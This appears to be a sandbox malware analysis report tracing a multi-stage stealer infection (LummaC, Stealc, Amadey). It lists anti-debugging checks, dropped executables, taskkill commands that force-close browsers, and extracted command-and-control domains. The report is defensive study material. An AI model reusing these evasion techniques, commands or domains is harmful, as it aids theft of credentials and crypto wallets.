Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe

Code function: 4_2_05690BF7 rdtsc

4_2_05690BF7

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_0022EAA2 BlockInput,

6_2_0022EAA2

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_001E2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_001E2622

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_001B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_001B42DE

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_001D4CE8 mov eax, dword ptr fs:[00000030h]

6_2_001D4CE8

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_00210B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

6_2_00210B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001E2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_001E2622
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001D083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_001D083F
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001D09D5 SetUnhandledExceptionFilter,	6_2_001D09D5
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001D0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_001D0C21

Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 2SGVUOBNN8HUJ5IDUWDR.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a4769912c1.exe PID: 2696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7617eef03d.exe PID: 6788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a4769912c1.exe PID: 7928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 572c19a989.exe PID: 1208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 768041f87c.exe PID: 7060, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.stor
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.stor
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.stor
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.stor
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.stor
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.stor

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

6_2_00211201

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_001F2BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

6_2_001F2BA5

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_0021B226 SendInput,keybd_event,

6_2_0021B226

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_002322DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

6_2_002322DA

Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe "C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe "C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe "C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe "C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe "C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe "C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe "C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe "C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe"

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

6_2_00210B62

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_00211663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

6_2_00211663

Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000000.1953763207.0000000000272000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: KGMUJDGOAL6LWD7UD45LIZ.exe, KGMUJDGOAL6LWD7UD45LIZ.exe, 00000004.00000002.1985079257.0000000000F76000.00000040.00000001.01000000.00000006.sdmp, 2SGVUOBNN8HUJ5IDUWDR.exe, 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2016776630.000000000083B000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager
Source: 4V88JM9ZW2IZ0ZQGW7B.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_001D0698 cpuid

6_2_001D0698

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_00228195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

6_2_00228195

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_0020D27A GetUserNameW,

6_2_0020D27A

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_001EBB6F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

6_2_001EBB6F

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_001B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_001B42DE

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1935641056.00000000058BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1843804812.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1843977278.0000000001188000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 9.2.skotes.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.skotes.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.KGMUJDGOAL6LWD7UD45LIZ.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1984616145.0000000000D81000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2013241583.0000000000611000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2305899865.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1943080135.0000000005480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2030670684.0000000000611000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1990335969.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1972941504.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 4V88JM9ZW2IZ0ZQGW7B.exe PID: 8040, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9b7d422018.exe PID: 3408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 48bf814d33.exe PID: 3940, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 9b7d422018.exe PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 20b68761b3.exe PID: 7704, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 28.2.a4769912c1.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.7617eef03d.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.a4769912c1.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.2SGVUOBNN8HUJ5IDUWDR.exe.450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2652934393.0000000000311000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2547341621.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2602234805.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.2652114564.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2016380463.0000000000451000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2499099366.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2774586954.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1961420367.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2753806901.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2690081341.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2SGVUOBNN8HUJ5IDUWDR.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a4769912c1.exe PID: 2696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7617eef03d.exe PID: 6788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a4769912c1.exe PID: 7928, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1743164096.0000000001180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum0JlN9r
